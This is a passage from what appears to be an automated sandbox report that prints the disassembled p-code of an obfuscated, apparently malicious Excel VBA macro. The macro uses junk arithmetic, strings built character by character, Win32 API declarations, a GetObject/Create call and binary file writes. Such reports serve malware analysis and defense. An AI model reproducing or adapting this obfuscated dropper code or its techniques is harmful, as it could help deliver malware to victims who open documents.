Coerce (Lng) ' For ' Line #2: ' Ld W504Y_pTL_x9rE_Ja0J ' St id_3732 ' Line #3: ' Unrecognized opcode 0x0303 at offset 0x000006D3. ' Line #4: ' Ld WxhRP4U3j8Rqvq ' MemLd XTyHY7tD9kf ' St MLLf_n9Pg_Igl_rVej ' Line #5: ' EndSub ' _VBA_PROJECT_CUR/VBA/Sheet1 - 1007 bytes ' _VBA_PROJECT_CUR/VBA/WxhRP4U3j8Rqvq - 26626 bytes ' Line #0: ' LbMark ' Ld VBA7 ' LbIf ' Line #1: ' FuncDefn (Function Bqr7A_0n4_ppJK(ByVal T0q0MikHjy As Long) As Long) ' Line #2: ' FuncDefn (Function zphUykgpPE9Y9UT(ByVal WVsSowVijs44ZdX7j As Long) As Long) ' Line #3: ' LbMark ' LbElse ' Line #4: ' Reparse 0x00C0 "Private Declare Function Bqr7A_0n4_ppJK Lib "user32.dll" Alias "PostMessageA" (ByVal T0q0MikHjy As Long, ByVal G0Ix9jwbz4 As Long, ByVal neDmFJ0kkZBC0 As Long, ByVal PrdL_jSs2 As Long) As Long" ' Line #5: ' Reparse 0x00CE "Private Declare Function zphUykgpPE9Y9UT Lib "user32.dll" Alias "FindWindowExA" (ByVal WVsSowVijs44ZdX7j As Long, ByVal OTfaaqyz0r52N As Long, ByVal XJMbw5rDU3k As String, ByVal d71gmhJB0 As String) As Long" ' Line #6: ' LbMark ' LbEndIf ' Line #7: ' Dim (Private Const) ' LitHI2 0x0102 ' VarDefn AT41_niaN_hhDY_BGd (As Long) ' Line #8: ' FuncDefn (Function XTyHY7tD9kf(id_FFFE As Variant)) ' Line #9: ' LitStr 0x0012 "Cbp6O_CzkR_25g_wdH" ' St FHPmShI ' Line #10: ' Line #11: ' Line #12: ' Dim ' VarDefn CO3j_Lpn_qhC (As String) ' Line #13: ' Ld UAo8hFdXQtf2iav ' MemLd GFexxpyy7 ' MemLd Text ' St CO3j_Lpn_qhC ' Line #14: ' Ld aUT9kye2 ' Ld UAo8hFdXQtf2iav ' MemLd h4Ds_B70_Bvd ' Concat ' Ld fOgRFgF53eFDRR499 ' Concat ' Ld WxhRP4U3j8Rqvq ' MemLd y0Nz6_bMS_yxyE_kI1Q ' Concat ' Ld fOgRFgF53eFDRR499 ' Concat ' Ld SQdh10vLsyKD0 ' Concat ' Ld LW6u_hD8 ' Concat ' Ld OMq6R_lqW_4ORn ' Concat ' Ld KyJs_wq0 ' Ld WxhRP4U3j8Rqvq ' ArgsMemLd OMEC_Tu0 0x0001 ' Concat ' Ld koMly_Etmm_05V6 ' Concat ' Ld fPoT5cdYSsw ' Concat ' Ld UAo8hFdXQtf2iav ' MemLd R3iO9j69C8qMpbwT ' Concat ' St NMNGdcrHAe8D ' Line #15: ' Ld NMNGdcrHAe8D ' Ld OKzWUhicS ' Ld xlAsRequired ' Xor ' Paren ' Coerce (Lng) ' Sharp ' LitDefault ' Open (For Binary) ' Line #16: ' LitStr 0x0014 "ISlRF_LL1H_kl5i_80Rr" ' St xlMAPI ' Line #17: ' Ld UAo8hFdXQtf2iav ' MemLd UW09_f5SP ' Ld UAo8hFdXQtf2iav ' MemLd MOZReIX1LMP ' Ld NGu3r9PSaI ' MemLd WCwyk_lsR2_IWre_58Y ' Ld Nmd37Uy5NLW ' ArgsMemLd qNQo_aR9_m0z_wrX 0x0001 ' ArgsLd Xv255Z4505OFl 0x0003 ' St r8QMgDY7XK0o ' Line #18: ' Ld H7wt4ZMSO ' LitStr 0x0020 "LKQP_3O1x_j5v K6S2Y_h11 YXlA_lzK" ' Concat ' LitStr 0x0010 "RtO20AuvUWmcTBRG" ' Ld U0Ftowq ' LitStr 0x0029 "Gy6JTC0Do0R a8zR_rFw_Gnc_zeG6 ZQVdNQy0Efx" ' Concat ' Ld mJKjV_01e_iKC ' Ld EDHW1_R46N_07j_MZI ' Add ' Ld Bu1IbGlVNfDLe ' ArgsArray Array 0x0005 ' St QRlS_rEFF_vuO_G20W ' Line #19: ' Ld QyQ0Vyt9LUOVJZz ' Ld WxhRP4U3j8Rqvq ' ArgsMemLd JunJp_mNw 0x0001 ' Ld L0ANJC9iHe5M6O ' Add ' Ld fFeB905voaPjyo ' Add ' Ld NMNGdcrHAe8D ' Add ' Ld UAo8hFdXQtf2iav ' MemLd Hl1R_2QY_0VR ' Add ' Ld UVYtW76v ' Add ' St cAFGg4gml0z ' Line #20: ' Ld DDfbML88 ' Ld xlAbsolute ' And ' Paren ' Coerce (Lng) ' Sharp ' LitDefault ' Ld CO3j_Lpn_qhC ' PutRec ' Line #21: ' LitStr 0x0029 "PPWcTZzpilPbwlq VtfA8_UeZ IbMkf_WFuE_dfAk" ' Ld q9nKiO0k0nHsWqN ' Concat ' Ld n3L6q_E6A_Vffr_Ma65 ' Concat ' LitStr 0x001D "I22O_wXwR DAhcJ_q6G b5r9_4lAU" ' Ld s07glPGu ' Concat ' ArgsArray Array 0x0002 ' ArgsLd Join 0x0001 ' FnLen ' St xlArabicStrictAlefHamza ' Line #22: ' LitDI2 0x0175 ' LitDI2 0x0174 ' Sub ' Paren ' Coerce (Lng) ' Sharp ' Close 0x0001 ' Line #23: ' Ld KPXp6_k0B_LYk ' Ld zGaan0f ' ArgsMemLd TJhoXgdVlxUT3wE 0x0001 ' Ld cAFGg4gml0z ' ArgsLd D9dKL_5c3_xFgB_Qgpx 0x0002 ' St RTCH_5BZK ' Line #24: ' EndFunc ' Line #25: ' FuncDefn (Function Xv255Z4505OFl(ux50Ibc1TbTLp)) ' Line #26: ' StartForVariable ' Ld T1cBloZWCZ5 ' EndForVariable ' LitDI2 0x0000 ' LitDI2 0x01E3 ' UMi ' Not ' Paren ' Coerce (Lng) ' For ' Line #27: ' Ld T1cBloZWCZ5 ' St VYJXD_V5Eu_PGx ' Line #28: ' StartForVariable ' Ld T1cBloZWCZ5 ' EndForVariable ' NextVar ' Line #29: ' LitStr 0x0035 "mu4z_6ac5_7xMi_UkB2 AbpDC_7VKS_Yfer_M2z fClSZ_oas_AFm" ' LitStr 0x000E "CKwSCVZFQMRqMD" ' Add ' Ld RdXtsxk7 ' Ld DcZL_p0P_G1G ' Add ' ArgsArray Array 0x0002 ' St ExG587CHCjAOPag ' Line #30: ' LitDI2 0x005D ' UMi ' Not ' Paren ' Coerce (Lng) ' FnAbs ' St JYdtgWPw ' Line #31: ' LitDI2 0x00F6 ' UMi ' LitDI2 0x00CE ' UMi ' LitR8 0x0000 0x0000 0xA000 0x4088 ' UMi ' Sub ' Paren ' Sub ' Paren ' Coerce (Lng) ' ArgsLd IsDate 0x0001 ' St jgPqt_rs4R ' Line #32: ' LitStr 0x000D "Qt4LW_dp0_w1I" ' St pGFcv_20H5_Re46 ' Line #33: ' Ld Bwx0E_gFI_p15 ' St iI0Ad_s2F_GrV_S1sh ' Line #34: ' StartWithExpr ' Ld ux50Ibc1TbTLp ' ArgsLd GetObject 0x0001 ' With ' Line #35: ' Ld G3VwnY2ZnuQgQk ' LitVarSpecial (Null) ' Ld iupEbdoExBCp ' ArgsMemCallWith Create 0x0003 ' Line #36: ' Ld HuX0KxpxweRtYl ' Ld t8H5_0PA_Ekmi ' Ld CmhlmcKS ' Pwr ' Add ' Ld XVszViS9NoP6hmZ ' Ld dYWnR_K7k ' Add ' ArgsArray Array 0x0002 ' ArgsLd Join 0x0001 ' FnLen ' St UPJZb8ZkL48 ' Line #37: ' EndWith ' Line #38: ' LitR8 0x5BD8 0x85F6 0x0CF0 0x3FDD ' LitDI2 0x03F1 ' Mul ' Paren ' Not ' Paren ' Coerce (Lng) ' LitDI2 0x0401 ' LitDI2 0x0245 ' UMi ' LitR8 0x10AB 0xB75E 0x370A 0x4082 ' Add ' Paren ' LitDI2 0x035C ' Mul ' Paren ' Or ' Paren ' Coerce (Lng) ' Lt ' St AxXJD2Kr9SJacM ' Line #39: ' LitDI2 0x03F0 ' LitDI2 0x0776 ' Xor ' Paren ' Coerce (Lng) ' LitDI2 0x06B5 ' LitR8 0x5307 0xB3E4 0x306E 0x401D ' Ld xlPyramidBarStacked100 ' Mul ' Paren ' Unrecognized opcode 0x0298 at offset 0x0000479A. ' Line #40: ' Debug ' PrintObj ' Ld UBEX_flT ' PrintItemNL ' Line #41: ' Ld Cxs1LG9gs ' ArgsArray Array 0x0001 ' ArgsLd Join 0x0001 ' FnLen ' St pf4v_SqY_DW1w_SeB0 ' Line #42: ' EndFunc ' Line #43: ' FuncDefn (Function y0Nz6_bMS_yxyE_kI1Q(id_FFFE As Variant)) ' Line #44: ' LineCont 0x0004 17 00 01 00 ' LitR8 0xC71C 0x1C71 0x71C7 0x3FCC ' UMi ' LitR8 0xD118 0x1181 0x181D 0x3FE1 ' LitR8 0xE607 0x81DA 0x76B9 0x3FE6 ' LitDI2 0x0450 ' UMi ' Mul ' Paren ' Mul ' Paren ' Mul ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' St y0Nz6_bMS_yxyE_kI1Q ' Line #45: ' Ld Zzr9yvN ' LitStr 0x000D "vgZKA_KiR_Nwy" ' Ld COD2VMOtp6x ' Ld wA5G_Zv3_5Ojz_ct7l ' Sub ' LitStr 0x001D "p1Vv_Q87F CTwDzdAzfT buPOCZD8" ' Concat ' LitStr 0x002B "IbqsItjh0pq9kw9 J3h80SmwqCaS IjMi0_Y9py_Tbg" ' Ld WNq7_X2J5_e4SM ' Ld l2U36_Uaq_nQHI ' Sub ' Concat ' ArgsArray Array 0x0004 ' ArgsLd Join 0x0001 ' FnLen ' St Z4eX_Pci ' Line #46: ' EndFunc ' Line #47: ' FuncDefn (Function OMEC_Tu0(SzUYK_9K8)) ' Line #48: ' Ld MMX1N_0gyL ' Ld wWFX_y0wy_XPCA ' Ld YOf5_blCG_o27V ' FnInStr3 ' St O0gZz_tRm_ku84 ' Line #49: ' Ld BqyRzYKmW4lgCNR ' Ld rFa9_bB8_El2 ' Ld OHEwnljuQg8w ' FnInStr3 ' St eNDWj_obN_0aV ' Line #50: ' LitDI2 0x03A5 ' Ld xlDialogDefineStyle ' Xor ' Paren ' Coerce (Lng) ' ArgsLd IsDate 0x0001 ' St AHaw_P4q5_MGH0_mC0i ' Line #51: ' Ld H3a78_Nj5_o7jj_Urac ' Ld GndsY_hZz0_zCd_hWkd ' LitStr 0x001B "XgYC_trjO PhmV_brxn_WMA_6se" ' Ld Upp1L7ovhWvX ' LitStr 0x0035 "jYM7o_Xlbw_f8ZG_B7r fRb8_lJqU_0Hp ARywb_KCA_b2Jb_0tuY" ' Concat ' Ld hNkD_0wP_3hN ' Concat ' ArgsArray Array 0x0004 ' ArgsLd Join 0x0001 ' St GmzaG_OYsq ' Line #52: ' LitStr 0x002E "AQwafUZtDXhFf4 N6yX_QK8_lUF_PPK YJDhy_bpTu_Mkk" ' LitStr 0x001A "XAAybPhi qsX33zW n4EUDzXI5" ' LitStr 0x0025 "ISilIBoaVN9 cZnEUQYr XXhAxEQEnzMR62Hu" ' Add ' LitStr 0x001F "OAIK_kqE9_s8N E2pJrID QwtkIAq37" ' Concat ' LitStr 0x0027 "ZCWpr_Ngg P8fSdHNUvLhLnv yoRwugzE1ik9EF" ' Ld F399_kQ0 ' Ld EFVFk_sSI_gcK9 ' Add ' LitStr 0x0022 "aTIAMYrm4FSw7mx GyENx_4TC_B7WD_hKY" ' Concat ' LitStr 0x0023 "czykFf2sqpETpvA TjcWp0yu6 MeGj_b73K" ' LitStr 0x001A "ou6SPP8oLT3 Nagr_ZmK3_hF2Q" ' Add ' Ld pb3us_wH8V_K1a ' Concat ' Ld FWp98iST ' LitStr 0x0029 "SFwU_QK2s_rDp EAZoXX7GR8r RSYe55kiulyobTM" ' Concat ' LitStr 0x0009 "LZ6mgAy9n" ' Concat ' ArgsArray Array 0x0006 ' ArgsLd Join 0x0001 ' FnLen ' St vOEjt_WBc_VAa ' Line #53: ' LitStr 0x000D "CBboAeyci6Kw7" ' St LCc3nTrRIa6eJwI ' Line #54: ' Debug ' PrintObj ' Ld QMjVp09g8fh2lpb ' PrintItemNL ' Line #55: ' LitDI4 0xE7FF 0x0002 ' LitDI4 0xE0C4 0x0002 ' LitR8 0x0000 0x0000 0xA000 0x4068 ' Sub ' Paren ' And ' Paren ' Coerce (Lng) ' LitDI4 0x91AD 0x0001 ' LitR8 0x0000 0x0000 0x3000 0x4072 ' Sub ' Paren ' LitR8 0x5441 0xB23A 0x2067 0x4020 ' LitDI2 0x004F ' UMi ' Mul ' Paren ' Add ' Paren ' Coerce (Lng) ' Sub ' LitDI4 0x0A0C 0x0001 ' LitR8 0x1238 0xE48D 0x1898 0x3FF0 ' LitDI4 0x81BC 0x0001 ' Mul ' Paren ' Or ' Paren ' Coerce (Lng) ' Add ' Paren ' Ld Rnd ' Mul ' LitDI4 0x9441 0x0001 ' LitR8 0x0000 0x0000 0x9000 0x4075 ' Sub ' Paren ' LitR8 0x0000 0x0000 0xF000 0x407C ' UMi ' Add ' Paren ' LitDI2 0x030C ' UMi ' Add ' Paren ' Coerce (Lng) ' Add ' Coerce (Lng) ' ArgsLd Hex 0x0001 ' St OMEC_Tu0 ' Line #56: ' LitStr 0x000A "BUWC7_PiFF" ' Ld ZCBP_GWG ' Concat ' Ld D2fk_kS5H_Nk0R_6cr ' LitStr 0x0022 "C09sdxSM Iz5S_D2j_lPR_oRN EQxcrZI7" ' LitStr 0x000F "mDzeBYEoB0Ob3HE" ' Add ' ArgsArray Array 0x0003 ' ArgsLd Join 0x0001 ' St WDN4_vxT3_AkB ' Line #57: ' Ld rW1qgO7 ' Ld CexUxUpVk0IUpx ' Ld IUvQk_AVV_WaNc ' FnInStr3 ' St RMY4U_nIDz_k0xo ' Line #58: ' QuoteRem 0x0000 0x0038 "WKms_EpQ WIPH7_lW4_l0Pk_dpe4 hV5E0BpI PvvH9OgF yqAt_Z2Z3" ' Line #59: ' LitDI2 0x034D ' LitDI2 0x06A6 ' LitR8 0x0000 0x0000 0xE800 0x4089 ' UMi ' Add ' Paren ' And ' Paren ' Coerce (Lng) ' ArgsLd IsDate 0x0001 ' St CpYI_Dfk_X47_PeH ' Line #60: ' LitDI2 0x01EA ' LitR8 0x0000 0x0000 0x0000 0x403B ' UMi ' Add ' Paren ' LitR8 0x0000 0x0000 0x2000 0x3FE3 ' UMi ' LitDI2 0x0200 ' UMi ' Mul ' Paren ' And ' Paren ' Coerce (Lng) ' ArgsLd IsDate 0x0001 ' St OxCCydx8xSkQC6 ' Line #61: ' LitStr 0x0003 "819" ' St HPw9mNP1Rk ' Line #62: ' LitR8 0x7E3E 0x90FE 0x310E 0x3FF3 ' LitDI2 0x05F9 ' Mul ' Paren ' LitDI2 0x0317 ' Xor ' Paren ' Coerce (Lng) ' LitR8 0x7A88 0x1E21 0x0B9B 0x3FF4 ' LitDI2 0x047B ' UMi ' Mul ' Paren ' LitDI2 0x01C0 ' UMi ' LitR8 0x0000 0x0000 0x7000 0x407B ' Add ' Paren ' Sub ' Paren ' Coerce (Lng) ' Gt ' St GCQrmgC4 ' Line #63: ' EndFunc ' Line #64: ' FuncDefn (Function JunJp_mNw(x6Ft0_WEm_Je7_n0j0)) ' Line #65: ' LineCont 0x0030 17 00 01 00 2D 00 01 00 3A 00 01 00 47 00 01 00 54 00 01 00 6A 00 01 00 7A 00 01 00 9E 00 01 00 B4 00 01 00 C0 00 01 00 CC 00 01 00 DD 00 01 00 ' Ld xlTabPositionLast ' LitR8 0x71AD 0x40B1 0xCB52 0x3FC4 ' UMi ' LitDI2 0x033F ' Mul ' Paren ' LitR8 0x0000 0x0000 0xA000 0x406E ' UMi ' Sub ' Paren ' Or ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Ld xlCurrencySpaceBefore ' LitR8 0x0000 0x0000 0xA000 0x407C ' UMi ' Sub ' Paren ' LitDI2 0x0534 ' LitR8 0x0000 0x0000 0xC800 0x408C ' UMi ' Add ' Paren ' Sub ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitStr 0x0001 " " ' ArgsLd Asc 0x0001 ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitStr 0x0001 "G" ' ArgsLd AscW 0x0001 ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitStr 0x0001 "e" ' ArgsLd Asc 0x0001 ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' Ld xlCylinderBarStacked ' LitR8 0x4BA1 0xA0F6 0xF64B 0x4057 ' UMi ' Add ' Paren ' LitDI2 0x0369 ' LitR8 0x0000 0x0000 0x0000 0x405B ' UMi ' Add ' Paren ' Mul ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' LitDI2 0x0149 ' LitDI2 0x0273 ' LitR8 0x0000 0x0000 0xE000 0x408C ' Sub ' Paren ' Add ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitR8 0x5377 0x77B7 0x0144 0x3F7D ' UMi ' LitDI2 0x0083 ' UMi ' Mul ' Paren ' LitDI2 0x0183 ' Mul ' Paren ' LitDI2 0x0138 ' UMi ' Add ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitStr 0x0001 "f" ' ArgsLd Asc 0x0001 ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' Ld xl3DAreaStacked100 ' LitDI2 0x034C ' UMi ' LitR8 0x3D2D 0x89A4 0x5DB1 0x408A ' Add ' Paren ' LitDI2 0x0181 ' UMi ' Mul ' Paren ' And ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' Ld xlRadarFilled ' Ld xlRadarFilled ' Or ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' LitDI2 0x004E ' UMi ' Not ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' LitDI2 0x011E ' UMi ' LitR8 0x0000 0x0000 0xF000 0x4075 ' Add ' Paren ' Ld xlArrangeStyleTiled ' Or ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' Ld xlDialogDeleteName ' LitR8 0x3D51 0xE468 0xBF9D 0x3FD5 ' LitDI2 0x029C ' UMi ' Mul ' Paren ' Add ' Paren ' Not ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitR8 0xAD12 0x39B0 0x6890 0x4011 ' Ld xlDialogOutline ' Mul ' Paren ' LitR8 0x8081 0x5112 0x8C47 0x3FD7 ' LitDI2 0x05F2 ' UMi ' Mul ' Paren ' Add ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitR8 0xAC11 0x13FE 0xC889 0x3F4B ' UMi ' LitDI2 0x0191 ' Mul ' Paren ' LitDI2 0x0064 ' UMi ' Mul ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' St JunJp_mNw …

Open this report in the interactive analyzer, or submit your own file for analysis.